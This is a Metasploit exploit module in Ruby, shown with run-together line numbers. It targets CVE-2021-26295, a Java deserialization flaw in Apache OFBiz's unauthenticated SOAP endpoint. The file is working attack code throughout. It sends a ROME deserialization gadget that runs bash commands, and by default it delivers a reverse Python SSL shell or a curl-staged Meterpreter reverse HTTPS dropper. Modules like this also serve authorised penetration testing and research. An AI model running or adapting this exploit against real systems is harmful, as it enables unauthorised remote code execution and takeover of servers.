Path: blob/master/modules/exploits/linux/http/apache_ofbiz_deserialization_soap.rb
32007 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::CmdStager12include Msf::Exploit::JavaDeserialization1314XML_NS = {15'serResponse' => 'http://ofbiz.apache.org/service/',16'soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/'17}.freeze1819def initialize(info = {})20super(21update_info(22info,23'Name' => 'Apache OFBiz SOAP Java Deserialization',24'Description' => %q{25This module exploits a Java deserialization vulnerability in Apache26OFBiz's unauthenticated SOAP endpoint /webtools/control/SOAPService for27versions prior to 17.12.06.28},29'Author' => [30'yumusb', # original PoC31'Spencer McIntyre', # metasploit module32'wvu' # metasploit module33],34'References' => [35[ 'CVE', '2021-26295' ],36[ 'URL', 'https://github.com/yumusb/CVE-2021-26295-POC/blob/main/poc.py' ],37[ 'URL', 'https://issues.apache.org/jira/browse/OFBIZ-12167' ]38],39'DisclosureDate' => '2021-03-22', # NVD publish date40'License' => MSF_LICENSE,41'Privileged' => false,42'Targets' => [43[44'Unix Command',45{46'Platform' => 'unix',47'Arch' => ARCH_CMD,48'Type' => :unix_cmd,49'DefaultOptions' => {50'PAYLOAD' => 'cmd/unix/reverse_python_ssl'51}52}53],54[55'Linux Dropper',56{57'Platform' => 'linux',58'Arch' => [ARCH_X86, ARCH_X64],59'Type' => :linux_dropper,60'DefaultOptions' => {61'CMDSTAGER::FLAVOR' => :curl,62'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'63}64}65]66],67'DefaultTarget' => 1,68'DefaultOptions' => {69'SSL' => true70},71'Notes' => {72'Stability' => [CRASH_SAFE],73'Reliability' => [REPEATABLE_SESSION],74'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]75}76)77)7879register_options([80Opt::RPORT(8443),81OptString.new('TARGETURI', [true, 'Base path', '/'])82])83end8485def check86# Send an empty serialized object87res = send_request_soap('')8889unless res90return CheckCode::Unknown('Target did not respond to check.')91end9293messages = {}94res.get_xml_document.xpath('//soapenv:Envelope/soapenv:Body/serResponse:serResponse/serResponse:map-HashMap/serResponse:map-Entry', XML_NS).each do |entry|95key = entry.xpath('serResponse:map-Key/serResponse:std-String/@value', XML_NS).to_s96messages[key] = entry.xpath('serResponse:map-Value/serResponse:std-String/@value', XML_NS).to_s97end9899if messages['errorMessage']&.start_with?('Problem deserializing object from byte array')100return CheckCode::Vulnerable('Target can deserialize arbitrary data.')101end102103CheckCode::Safe('Target cannot deserialize arbitrary data.')104end105106def exploit107print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")108109case target['Type']110when :unix_cmd111execute_command(payload.encoded)112when :linux_dropper113execute_cmdstager114end115end116117def execute_command(cmd, _opts = {})118vprint_status("Executing command: #{cmd}")119120res = send_request_soap(121# framework/webapp/lib/rome-0.9.jar122generate_java_deserialization_for_command('ROME', 'bash', cmd)123)124125unless res && res.code == 200126fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")127end128129print_good("Successfully executed command: #{cmd}")130end131132def send_request_soap(data)133send_request_cgi(134'method' => 'POST',135'uri' => normalize_uri(target_uri.path, '/webtools/control/SOAPService'),136'ctype' => 'text/xml',137'data' => <<~XML138<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">139<soapenv:Header/>140<soapenv:Body>141<ser>142<map-HashMap>143<map-Entry>144<map-Key>145<cus-obj>#{Rex::Text.to_hex(data, '')}</cus-obj>146</map-Key>147<map-Value>148<std-String value="http://#{Faker::Internet.domain_name}"/>149</map-Value>150</map-Entry>151</map-HashMap>152</ser>153</soapenv:Body>154</soapenv:Envelope>155XML156)157end158159end160161162